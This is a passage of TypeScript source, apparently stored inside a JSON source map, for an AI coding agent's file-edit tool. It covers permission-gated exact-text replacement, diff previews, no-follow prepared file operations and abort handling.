{\n\t\treturn false;\n\t}\n\n\tconst edit = value as Record<string, unknown>;\n\treturn typeof edit.oldText === \"string\" && typeof edit.newText === \"string\";\n}\n\nexport interface EditToolDetails {\n\t/** Display-oriented diff of the changes made */\n\tdiff: string;\n\t/** Standard unified patch of the changes made */\n\tpatch: string;\n\t/** Line number of the first change in the new file (for editor navigation) */\n\tfirstChangedLine?: number;\n\t/** Present only when `EditToolOptions.diagnosticsOperations` is configured (LSP.4). */\n\tdiagnostics?: DiagnosticsOutcome;\n}\n\n/**\n * Pluggable operations for the edit tool.\n * Override these to delegate file editing to remote systems (for example SSH).\n */\nexport interface EditOperations {\n\t/** Read file contents as a Buffer */\n\treadFile: (absolutePath: string) => Promise<Buffer>;\n\t/** Write content to a file */\n\twriteFile: (absolutePath: string, content: string) => Promise<void>;\n\t/** Check if file is readable and writable (throw if not) */\n\taccess: (absolutePath: string) => Promise<void>;\n\t/**\n\t * Execute a gate-prepared edit no-follow against the authorized target.\n\t * Required for gated calls: when a prepared operation exists, pathname reads\n\t * and writes are never used, so an unset implementation fails closed.\n\t */\n\treadPreparedFile?: (operation: PreparedPathOperation) => Buffer;\n\twritePreparedFile?: (operation: PreparedPathOperation, content: Buffer) => void;\n}\n\nconst defaultEditOperations: EditOperations = {\n\treadFile: (path) => fsReadFile(path),\n\twriteFile: async (path, content) => writePathAtomically(path, content),\n\taccess: (path) => fsAccess(path, constants.R_OK | constants.W_OK),\n\treadPreparedFile: (operation) => readPreparedPath(operation),\n\twritePreparedFile: (operation, content) => writePreparedPath(operation, content),\n};\n\nexport interface EditToolOptions {\n\t/** Custom operations for file editing. Default: local filesystem */\n\toperations?: EditOperations;\n\t/**\n\t * Optional post-mutation diagnostics (LSP.4). Absent by default -- byte-identical\n\t * existing behavior. When present, called inside `withFileMutationQueue` after the\n\t * write succeeds and before the queue releases, matching `TestOperations`/\n\t * `GrepOperations`' injection pattern (`test.ts:28`, `grep.ts:58`).\n\t */\n\tdiagnosticsOperations?: DiagnosticsOperations;\n}\n\n/** A preview is a courtesy, so it never costs more than a screen or two of reading. */\nconst PREVIEW_MAX_BYTES = 512 * 1024;\nconst PREVIEW_MAX_LINES = 40;\n\n/**\n * Describe the edit for the person deciding whether to allow it.\n *\n * Reads through the operation `prepareCall` stored rather than resolving the\n * pathname again, so a target swapped after authorization fails here exactly as\n * it fails the write. `readPreparedPath` throws in that case and the gate turns\n * the throw into a stated reason, which is the outcome a reader needs: better a\n * prompt that admits it cannot show the change than a diff of the wrong file.\n */\nfunction previewEdit(params: EditToolInput): PermissionPreview {\n\tconst prepared = getPreparedPathOperation(params);\n\tif (!prepared) return { kind: \"unavailable\", reason: \"No authorized target was prepared for this call\" };\n\tif (prepared.kind === \"path-new\") {\n\t\treturn { kind: \"summary\", lines: [`Create ${params.path}`] };\n\t}\n\n\tconst buffer = readPreparedPath(prepared, PREVIEW_MAX_BYTES + 1);\n\tif (buffer.byteLength > PREVIEW_MAX_BYTES) {\n\t\treturn { kind: \"unavailable\", reason: `File is larger than ${PREVIEW_MAX_BYTES / 1024}KB, so no diff is shown` };\n\t}\n\tif (buffer.includes(0)) {\n\t\treturn { kind: \"unavailable\", reason: \"File is binary, so there is no diff to show\" };\n\t}\n\n\tconst result = computeEditsDiffFromContent(params.path, buffer.toString(\"utf-8\"), params.edits as Edit[]);\n\tif (\"error\" in result) return { kind: \"unavailable\", reason: result.error };\n\n\tconst lines = result.diff.split(\"\\n\");\n\tconst shown = lines.slice(0, PREVIEW_MAX_LINES);\n\treturn { kind: \"diff\", path: params.path, lines: shown, omittedLines: lines.length - shown.length };\n}\n\nfunction prepareEditArguments(input: unknown): EditToolInput {\n\tif (!input || typeof input !== \"object\") {\n\t\treturn input as EditToolInput;\n\t}\n\n\tconst args = input as Record<string, unknown>;\n\n\t// Some models (Opus 4.6, GLM-5.1) send edits as a JSON string instead of an array.\n\t// Others send a single edit object instead of a one-element edits array.\n\tif (typeof args.edits === \"string\") {\n\t\ttry {\n\t\t\tconst parsed = JSON.parse(args.edits);\n\t\t\tif (Array.isArray(parsed)) {\n\t\t\t\targs.edits = parsed;\n\t\t\t} else if (isSingleEditInput(parsed)) {\n\t\t\t\targs.edits = [parsed];\n\t\t\t}\n\t\t} catch {}\n\t} else if (isSingleEditInput(args.edits)) {\n\t\targs.edits = [args.edits];\n\t}\n\n\tconst legacy = args as LegacyEditToolInput;\n\tif (typeof legacy.oldText !== \"string\" || typeof legacy.newText !== \"string\") {\n\t\treturn args as EditToolInput;\n\t}\n\n\tconst edits = Array.isArray(legacy.edits) ? [...legacy.edits] : [];\n\tedits.push({ oldText: legacy.oldText, newText: legacy.newText });\n\tconst { oldText: _oldText, newText: _newText, ...rest } = legacy;\n\treturn { ...rest, edits } as EditToolInput;\n}\n\nfunction validateEditInput(input: EditToolInput): { path: string; edits: Edit[] } {\n\tif (!Array.isArray(input.edits) || input.edits.length === 0) {\n\t\tthrow new Error(\"Edit tool input is invalid. edits must contain at least one replacement.\");\n\t}\n\treturn { path: input.path, edits: input.edits };\n}\n\nexport function createEditToolDefinition(\n\tcwd: string,\n\toptions?: EditToolOptions,\n): ApexToolDefinition<typeof editSchema, EditToolDetails | undefined, EditRenderState> {\n\tconst ops = options?.operations ?? defaultEditOperations;\n\tconst diagnosticsOperations = options?.diagnosticsOperations;\n\treturn {\n\t\tname: \"edit\",\n\t\tlabel: \"edit\",\n\t\tdescription:\n\t\t\t\"Edit a single file using exact text replacement. Every edits[].oldText must match a unique, non-overlapping region of the original file. If two changes affect the same block or nearby lines, merge them into one edit instead of emitting overlapping edits. Do not include large unchanged regions just to connect distant changes.\",\n\t\tpromptSnippet: editToolSystemPromptContribution.snippet,\n\t\tpromptGuidelines: [...editToolSystemPromptContribution.guidelines],\n\t\tparameters: editSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"fs.read\", \"fs.write\"]),\n\t\t\tpermission: createPathPermissionSpec({\n\t\t\t\tcwd,\n\t\t\t\tdefaultBehavior: \"ask\",\n\t\t\t\tverb: \"Edit\",\n\t\t\t\tgetPath: (params) => params.path,\n\t\t\t\tpreviewCall: (params) => previewEdit(params as EditToolInput),\n\t\t\t}),\n\t\t\tcontext: { resultRecoverable: true, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set(diagnosticsOperations ? [\"diff\", \"diagnostic\"] : [\"diff\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst patch = result.details?.patch;\n\t\t\t\t\tconst records: EvidenceRecord[] = patch\n\t\t\t\t\t\t? [{ kind: \"diff\", path: params.path, patchHash: sha256(patch) }]\n\t\t\t\t\t\t: [{ kind: \"diff\", path: params.path }];\n\t\t\t\t\tconst diagnostics = result.details?.diagnostics;\n\t\t\t\t\tif (diagnostics) records.push(diagnosticEvidenceForPath(params.path, diagnostics));\n\t\t\t\t\treturn records;\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling() ?? { type: \"json_schema\", strict: \"prefer\" },\n\t\trenderShell: \"self\",\n\t\tprepareArguments: prepareEditArguments,\n\t\tasync execute(_toolCallId, input: EditToolInput, signal?: AbortSignal, _onUpdate?, ctx?: ExtensionContext) {\n\t\t\tconst { path, edits } = validateEditInput(input);\n\t\t\tconst prepared = getPreparedPathOperation(input);\n\t\t\tconst absolutePath = prepared?.path.value ?? resolveToCwd(path, ctx?.cwd || cwd);\n\t\t\tif (prepared && (!ops.readPreparedFile || !ops.writePreparedFile)) {\n\t\t\t\tthrow new Error(\"No safe prepared edit operation is available for this gated edit\");\n\t\t\t}\n\n\t\t\treturn withFileMutationQueue(absolutePath, async () => {\n\t\t\t\t// Do not reject from an abort event listener here: that would release the\n\t\t\t\t// mutation queue while an in-flight filesystem operation may still finish.\n\t\t\t\t// Checking signal.aborted after each await observes the same aborts while\n\t\t\t\t// keeping the queue locked until the current operation has settled.\n\t\t\t\tconst throwIfAborted = (): void => {\n\t\t\t\t\tif (signal?.aborted) throw new Error(\"Operation aborted\");\n\t\t\t\t};\n\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Check if file exists (skipped for a gated call: the prepared operation\n\t\t\t\t// already proves existence, and the no-follow read enforces the identity).\n\t\t\t\ttry {\n\t\t\t\t\tif (!prepared) await ops.access(absolutePath);\n\t\t\t\t} catch (error: unknown) {\n\t\t\t\t\tthrowIfAborted();\n\t\t\t\t\tconst errorMessage =\n\t\t\t\t\t\terror instanceof Error && \"code\" in error ? `Error code: ${error.code}` : String(error);\n\t\t\t\t\tthrow new Error(`Could not edit file: ${path}. ${errorMessage}.`);\n\t\t\t\t}\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Read the file.\n\t\t\t\tconst buffer = prepared ? ops.readPreparedFile!(prepared) : await ops.readFile(absolutePath);\n\t\t\t\tconst rawContent = buffer.toString(\"utf-8\");\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Strip BOM before matching. The model will not include an invisible BOM in oldText.\n\t\t\t\tconst { bom, text: content } = splitBom(rawContent);\n\t\t\t\tconst originalEnding = detectLineEnding(content);\n\t\t\t\tconst normalizedContent = normalizeToLF(content);\n\t\t\t\tconst { baseContent, newContent } = applyEditsToNormalizedContent(normalizedContent, edits, path);\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\tconst finalContent = bom + restoreLineEndings(newContent, originalEnding);\n\t\t\t\tif (prepared) ops.writePreparedFile!(prepared, Buffer.from(finalContent, \"utf-8\"));\n\t\t\t\telse await ops.writeFile(absolutePath, finalContent);\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\tconst diffResult = generateDiffString(baseContent, newContent);\n\t\t\t\tconst patch = generateUnifiedPatch(path, baseContent, newContent);\n\t\t\t\tconst successText = `Successfully replaced ${edits.length} block(s) in ${path}.`;\n\n\t\t\t\tif (diagnosticsOperations) {\n\t\t\t\t\tconst diagnostics = await diagnosticsOperations.afterMutation(absolutePath, signal);\n\t\t\t\t\treturn {\n\t\t\t\t\t\tcontent: [{ type: \"text\", text: `${successText}\\n\\n${formatDiagnosticsOutcome(diagnostics)}` }],\n\t\t\t\t\t\tdetails: { diff: diffResult.diff, patch, firstChangedLine: diffResult.firstChangedLine, diagnostics },\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [{ type: \"text\", text: successText }],\n\t\t\t\t\tdetails: { diff: diffResult.diff, patch, firstChangedLine: diffResult.firstChangedLine },\n\t\t\t\t};\n\t\t\t});\n\t\t},\n\t\t...editRenderers,\n\t};\n}\n\nexport function createEditTool(cwd: string, options?: EditToolOptions): AgentTool<typeof editSchema> {\n\treturn wrapToolDefinition(createEditToolDefinition(cwd, options));\n}\n"]}
|